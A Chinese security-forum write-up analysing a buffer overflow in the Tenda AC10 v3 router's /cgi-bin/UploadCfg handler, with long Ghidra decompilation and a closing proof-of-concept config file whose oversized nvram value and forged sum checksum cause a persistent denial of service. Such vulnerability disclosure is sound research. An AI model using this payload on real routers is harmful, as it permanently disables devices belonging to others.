-
-
[原创]TD AC10路由器缓冲区溢出漏洞分析 (CVE-2026-51380)
-
发表于: 5天前 724
-
是个准大一生的第一次挖洞成果, CVE-2026-51380 (CNVD-2026-18630), 漏洞描述如下:
Tenda AC10 v3(固件版本 V03.03.16.09)中存在缓冲区溢出漏洞,攻击者可通过 /cgi-bin/UploadCfg 端点造成永久性拒绝服务(DoS),或可能远程执行代码。
用binwalk可以直接看固件(没有任何加密)是个eCos(实时操作系统),在ghidra打开.bin文件 选择mips, little (endian) 32:

/cgi-bin/UploadCfg (本漏洞)
/cgi-bin/DownloadCfg
/cgi-bin/DownloadFlash
/cgi-bin/DownloadSyslog
查一下UploadCfg

查看最后一个(UploadCfg success...):
undefined4 FUN_800ed674(int param_1)
{
int iVar1;
undefined1 *puVar2;
char *pcVar3;
int iVar4;
int iVar5;
undefined4 uVar6;
int iVar7;
char *pcVar8;
char *pcVar9;
undefined1 auStack_320 [512];
undefined1 uStack_120;
undefined1 auStack_11f [255];
undefined4 local_20 [2];
FUN_80290cac(&uStack_120,0,0xfe);
FUN_80297408(&uStack_120,*(undefined4 *)(param_1 + 0x168),0xfe);
iVar1 = FUN_80297290(auStack_11f,0x2f);
iVar7 = iVar1 + 1;
if (iVar1 == 0) {
if (0 < DAT_803c6294) {
FUN_80290744(s_%s[%d]_Missing_CGI_name_8035a92c,s_Tenda_webs_CGI_BIN_Handler_80
36d894,0x94);
}
FUN_800b0228(param_1,200,s_Missing_CGI_name_8035a948);
}
else {
puVar2 = (undefined1 *)FUN_80297290(iVar7,0x2f);
if (puVar2 != (undefined1 *)0x0) {
*puVar2 = 0;
}
FUN_80290744(s_Enter_webDoCgi_fun_cgiName_=_%s_c_8035a95c,iVar7,*
(undefined4 *)(param_1 + 0x1b0)
);
iVar1 = FUN_802973b4(iVar7,s_upgrade_8035a988,7);
if (iVar1 == 0) {
local_20[0] = 0;
iVar7 = 100;
FUN_80290cac(auStack_320,0,0x20);
FUN_80290744(s_Start_upgrade..._8035a990);
FUN_80044898();
iVar1 = FUN_800448bc(*(undefined4 *)(param_1 + 0x214),0,local_20);
if (iVar1 < 0) {
iVar7 = 0xc9;
FUN_80290744(s_Upgrade_check_err!!!_8033f02c);
}
uVar6 = FUN_802907cc(auStack_320,0x20,s_{"errCode":"%d"}_8035a9a4,iVar7);
FUN_800ada00(param_1,200);
FUN_800afad0(param_1,uVar6,0);
FUN_800aeac8(param_1);
FUN_800aeb20(param_1,&DAT_8033d5d0,auStack_320);
FUN_800ae72c(param_1);
if (iVar7 == 100) {
iVar1 = FUN_80044b34(*(undefined4 *)(param_1 +
0x214),0x1c,local_20[0]);
if (iVar1 < 0) {
pcVar3 = s_Upgrade_fw_err!!!_8033f044;
}
else {
pcVar3 = s_Upgrade_success..._8033f058;
}
FUN_80290744(pcVar3);
iVar1 = *(int *)(param_1 + 0x214);
}
else {
iVar1 = *(int *)(param_1 + 0x214);
}
if (iVar1 != 0) {
FUN_80044674();
*(undefined4 *)(param_1 + 0x214) = 0;
}
}
else {
iVar1 = FUN_802973b4(iVar7,s_UploadCfg_8035a9b8,9);
if (iVar1 != 0) {
iVar1 = FUN_802973b4(iVar7,s_DownloadCfg_8035a9ec,0xb);
if (iVar1 == 0) {
FUN_80290cac(auStack_320,0,0x100);
FUN_80290744(s_DownloadCfg:_path:%s_8035a9f8,iVar7);
pcVar3 = (char *)FUN_802944e0(0x8000);
if (pcVar3 == (char *)0x0) {
return 1;
}
FUN_80290cac(pcVar3,0,0x8000);
iVar1 = FUN_800489b0(pcVar3,0x8000);
iVar7 = FUN_800ae170(0);
if (iVar7 != 0) {
FUN_800aeb20(param_1,s_HTTP/1.0_200_OK_Date:_%s_8035a878,iVar7);
FUN_800abd30(iVar7);
}
FUN_800aeb20(param_1,s_Server:_%s_8035a8ac,s_Server:_GoAheadhttp_8035a894);
iVar7 = FUN_800ae170(0);
if (iVar7 != 0) {
FUN_800aeb20(param_1,s_Last-modified:_%s_8035a8bc,iVar7);
FUN_800abd30(iVar7);
}
iVar7 = 0;
for (pcVar8 = pcVar3; *pcVar8 != '\0'; pcVar8 = pcVar8 + iVar4 + 1) {
iVar4 = FUN_8029734c(pcVar8);
iVar5 = 0;
for (pcVar9 = pcVar8; pcVar9 != pcVar8 + iVar4; pcVar9 = pcVar9 +
1) {
iVar5 = iVar5 + *pcVar9;
}
iVar7 = iVar7 + iVar5;
}
FUN_80290cac(auStack_320,0,0x100);
FUN_802907cc(auStack_320,0x100,s_@%d_8035aa10,iVar7);
iVar7 = FUN_8029734c(auStack_320);
iVar4 = FUN_8029734c(s_#Please_don't_change_this_file_b_803c62f0);
FUN_800aeb20(param_1,s_Content-length:_%d_8035a8e4,iVar7 + iVar4 +
iVar1);
FUN_800aeb20(param_1,s_Content-type:_config/conf_8035a8fc);
FUN_800aeb20(param_1,s_Connection:_close_8035a918);
FUN_800aeb20(param_1,s_NT:_upnp:rootdevice_USN:_uuid:%s_8034db58 +
0x34);
uVar6 = FUN_8029734c(s_#Please_don't_change_this_file_b_803c62f0);
iVar1 =
FUN_800ae884(param_1,s_#Please_don't_change_this_file_b_803c62f0,uVar6);
uVar6 = FUN_8029734c(auStack_320);
iVar7 = FUN_800ae884(param_1,auStack_320,uVar6);
iVar1 = iVar1 + iVar7;
for (pcVar8 = pcVar3; *pcVar8 != '\0'; pcVar8 = pcVar8 + iVar7 + 1) {
FUN_80290cac(auStack_320,0);
FUN_8006e6f4(auStack_320,pcVar8,0x100);
puVar2 = (undefined1 *)FUN_80297290(auStack_320,0x3d);
if (puVar2 != (undefined1 *)0x0) {
*puVar2 = 0;
uVar6 = FUN_8029734c(pcVar8);
iVar7 = FUN_800ae884(param_1,pcVar8,uVar6);
iVar4 =
FUN_800ae884(param_1,s_NT:_upnp:rootdevice_USN:_uuid:%s_8034db58 + 0x34,2);
iVar1 = iVar1 + iVar7 + iVar4;
}
iVar7 = FUN_8029734c(pcVar8);
}
*(int *)(param_1 + 0x1c8) = iVar1;
FUN_800ae72c(param_1);
FUN_80294734(pcVar3);
return 1;
}
iVar1 = FUN_802973b4(iVar7,s_DownloadFlash_8035aa18,0xd);
if (iVar1 != 0) {
iVar1 = FUN_802973b4(iVar7,s_DownloadSyslog_8035aa70,0xe);
if ((iVar1 != 0) && (iVar1 =
FUN_802973b4(iVar7,s_exportSysLog_8035aa80,0xc), iVar1 != 0))
{
return 1;
}
FUN_800ed440(param_1,iVar7);
return 1;
}
FUN_80290cac(auStack_320,0,0x200);
FUN_80290744(s_DownloadSPIFlashImage_8035aa28);
iVar1 = FUN_800ae170(0);
if (iVar1 != 0) {
FUN_800aeb20(param_1,s_HTTP/1.0_200_OK_Date:_%s_8035a878,iVar1);
FUN_800abd30(iVar1);
}
FUN_800aeb20(param_1,s_Server:_%s_8035a8ac,s_Server:_GoAheadhttp_8035a894);
iVar1 = FUN_800ae170(0);
if (iVar1 != 0) {
FUN_800aeb20(param_1,s_Last-modified:_%s_8035a8bc,iVar1);
FUN_800abd30(iVar1);
}
iVar1 = 0;
uVar6 = FUN_80046e34();
FUN_800aeb20(param_1,s_Content-length:_%d_8035a8e4,uVar6);
FUN_800aeb20(param_1,s_Content-type:_config/conf_8035a8fc);
FUN_800aeb20(param_1,s_Connection:_close_8035a918);
FUN_800aeb20(param_1,s_NT:_upnp:rootdevice_USN:_uuid:%s_8034db58 +
0x34);
do {
iVar7 = FUN_80046e34();
if (iVar7 - iVar1 < 1) {
LAB_800edd10:
*(int *)(param_1 + 0x1c8) = iVar1;
FUN_800ae72c(param_1);
FUN_80290744(s_DownloadFlashImage_ok_..._8035aa54);
return 1;
}
iVar7 = FUN_80044270(iVar1,auStack_320,0x200);
if (iVar7 != 1) {
FUN_80290744(s_Read_flash_err=%d_8035aa40,iVar7);
goto LAB_800edd10;
}
FUN_800ae884(param_1,auStack_320,0x200);
iVar1 = iVar1 + 0x200;
} while( true );
}
FUN_80290cac(auStack_320,0,0x20);
iVar1 = FUN_80048a18(*(undefined4 *)(param_1 + 0x214),*(undefined4 *)
(param_1 + 0x1b0));
if (iVar1 == 0) {
FUN_80290744(s_UploadCfg_success..._8035a9d4);
uVar6 = 100;
}
else {
FUN_80290744(s_UploadCfg_err!_8035a9c4);
uVar6 = 0xca;
}
uVar6 = FUN_802907cc(auStack_320,0x20,s_{"errCode":"%d"}_8035a9a4,uVar6);
FUN_800ada00(param_1,200);
FUN_800afad0(param_1,uVar6,0);
FUN_800aeac8(param_1);
FUN_800aeb20(param_1,&DAT_8033d5d0,auStack_320);
FUN_800ae72c(param_1);
if (*(int *)(param_1 + 0x214) != 0) {
FUN_80294734();
*(undefined4 *)(param_1 + 0x214) = 0;
}
}
FUN_80013cf4(1,0x12,s_string_info=reboot_80337b98);
}
return 1;
}
在FUN_80048a18,它会读上传⽂件的内容然后写⼊内存(这个部分可能有漏洞)
iVar1 = FUN_80048a18(*(undefined4 *)(param_1 + 0x214), *(undefined4 *)(param_1
+ 0x1b0));
if (iVar1 == 0) {
FUN_80290744(s_UploadCfg_success..._8035a9d4);
uVar6 = 100;
}
else {
FUN_80290744(s_UploadCfg_err!_8035a9c4);
uVar6 = 0xca;
}
if (*(int *)(param_1 + 0x214) != 0) {
FUN_80294734();
*(undefined4 *)(param_1 + 0x214) = 0;
}
.....
.....
.....
FUN_80013cf4(1, 0x12, s_string_info=reboot_80337b98);
FUN_80048a18的内容:
undefined4 FUN_80048a18(char *param_1,int param_2)
{
int iVar1;
undefined1 *puVar2;
char *pcVar3;
int iVar4;
int iVar5;
int iVar6;
char *pcVar7;
char *pcVar8;
int iVar9;
char local_830 [2048];
int local_30;
FUN_80290cac(local_830,0,0x800);
if (param_1 == (char *)0x0) {
FUN_80290744(s_CFG_write_prof_file_is_NULL!!_803428a8);
return 0xffffffff;
}
iVar4 = 0;
iVar5 = 0;
iVar6 = 0;
pcVar7 = param_1 + param_2;
pcVar3 = param_1;
LAB_80048aac:
if ((*pcVar3 == '\0') || (pcVar7 <= pcVar3)) goto LAB_80048bcc;
if (*pcVar3 == '\r') {
if (pcVar3[1] != '\n') {
pcVar3 = pcVar3 + 1;
goto LAB_80048aac;
}
*pcVar3 = '\0';
iVar1 = FUN_8029734c(param_1);
if (0x7fc < iVar1 - 3U) {
LAB_80048bcc:
if (((iVar4 != 0) && (iVar5 != 0)) && (iVar4 == iVar5)) {
FUN_80047288();
FUN_80290744(s_CFG_write_prof_%d_items_803428d0,iVar6);
return 0;
}
FUN_80290744(s_CFG_write_prof_err_%x_803428ec,iVar4);
return 0xffffffff;
}
pcVar8 = pcVar3 + 1;
if (*param_1 == '\n') {
param_1 = param_1 + 1;
iVar1 = iVar1 + -1;
pcVar8 = pcVar3 + 2;
}
local_30 = iVar1;
FUN_80290c04(local_830,param_1,iVar1);
local_830[local_30] = '\0';
param_1 = pcVar8 + 1;
pcVar3 = param_1;
if (local_830[0] != '#') {
if (local_830[0] != '@') {
iVar1 = FUN_8029734c(local_830);
for (iVar9 = 0; iVar9 != iVar1; iVar9 = iVar9 + 1) {
iVar4 = iVar4 + local_830[iVar9];
}
puVar2 = (undefined1 *)FUN_80297290(local_830,0x3d);
if (puVar2 != (undefined1 *)0x0) {
*puVar2 = 0;
iVar6 = iVar6 + 1;
FUN_80047190(local_830,puVar2 + 1);
if (pcVar8[1] != '\0') goto LAB_80048aa8;
}
goto LAB_80048bcc;
}
iVar5 = FUN_80296ac8(local_830 + 1,0,10);
FUN_8029a658(s_crc:%d_803428c8,iVar5);
}
}
LAB_80048aa8:
pcVar3 = pcVar3 + 1;
goto LAB_80048aac;
}
分析
if (local_830[0] == '@') {
iVar5 = FUN_80296ac8(local_830 + 1, 0, 10); // 读取校验值
}
这个安全签名没有用MD5,SHA等加密散列,只是简单的ascii码累加和:
for (iVar9 = 0; iVar9 != iVar1; iVar9++) {
iVar4 = iVar4 + local_830[iVar9];
}
这个校验机制也是弱的,攻击者可以写脚本改一下配置内容然后再计算校验和
溢出点定位
通过FUN_80047190写入nvram:
FUN_80047190(local_830, puVar2 + 1);
解析器限制单行输入是2047字节,但没有对具体的配置长度做校验,nvram中的分配变量空间也有限(比如wan0_macclone_mode只有大概32节),nvram_set也没有做检查,导致缓冲区溢出,因为是在nvram上写的,所以用物理按钮来重启路由器也不会恢复的,wifi ssid也会消失。
最终可以通过py做个cfg, 上传到设备的管理员页面
cfg内容:
sys_workmode=router
wan0_primary=1
wan_domain=64bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8W2L8X3c8S2N6$3W2X3K9g2)9J5k6h3y4G2L8b7`.`.
wan0_macclone_mode=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@73120
[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!
最后于 5天前
被n0thing编辑
,原因: 想改为iot安全因为选错ios安全了
赞赏
赞赏
雪币:
留言: